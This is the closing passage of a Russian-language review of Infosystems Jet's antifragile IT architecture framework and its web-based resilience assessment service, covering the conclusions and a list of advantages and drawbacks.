печати на бумаге. Рисунок 15. Выгрузка готового отчёта Рисунок 16. Фрагмент отчёта экспресс-оценки киберустойчивости организации ВыводыАнтихрупкость сегодня — ключевая стратегия выживания и роста компаний в условиях постоянных рисков: кибератак, ухода вендоров, сбоев инфраструктуры, регуляторных изменений и т. п. Она не заменяет классическую ИБ — она дополняет её способностью пережить успешную атаку.В современном ИТ‑ландшафте недостаточно просто держаться на плаву, нужно заранее готовиться к тому, чего нельзя предсказать. Именно поэтому антихрупкость становится центральным элементом зрелой ИТ‑стратегии и обязательным ориентиром при проектировании архитектуры, управлении инцидентами и планировании цифровой трансформации.Компания «Инфосистемы Джет» переводит концепцию антихрупкости на язык конкретных инженерных и управленческих решений. Она даёт бизнесу рабочие инструменты — собственный Фреймворк антихрупкой ИТ‑архитектуры, помогающий выстроить понятный путь от стратегии к конкретным действиям, и Индекс антихрупкости, который помогает увидеть, насколько компания реально готова к сбоям, атакам и внезапным переменам.Компания планирует и далее развивать Фреймворк: адаптировать его к специфике различных отраслей, разработать вариативные сценарии применения в зависимости от контекста.Достоинства:Открытая методология, доступная любому пользователю без оплаты и регистрации.Каскадная, понятная архитектура с чёткой логикой: семь стратегий достижения антихрупкости, 10 принципов, 33 домена и 390+ практик.Наличие веб-сервиса для оценки антихрупкости ИТ-архитектуры, в котором прохождение полного опроса по 100 критериям оценки занимает в среднем 20 минут.Возможность ознакомиться с показателями антихрупкости в среднем по отрасли.Представление результатов оценки в графическом и табличном формате.Формирование готового отчёта по итогам экспресс-оценки киберустойчивости с возможностью его выгрузки на компьютер.Недостатки:Ценность фреймворка сложно понять, если предварительно не ознакомиться с теорией антихрупкой ИТ-архитектуры.Для точной оценки индекса антихрупкости рекомендуется располагать полной информацией о деятельности компании и не пропускать ни одного критерия оценки. По уровню детализации Фреймворк антихрупкой ИТ-архитектуры относится к стратегическому и методическому уровню. Детальные технические регламенты, архитектурные стандарты, требования к настройке конкретных систем должны разрабатываться на следующем уровне детализации.Читать далее
×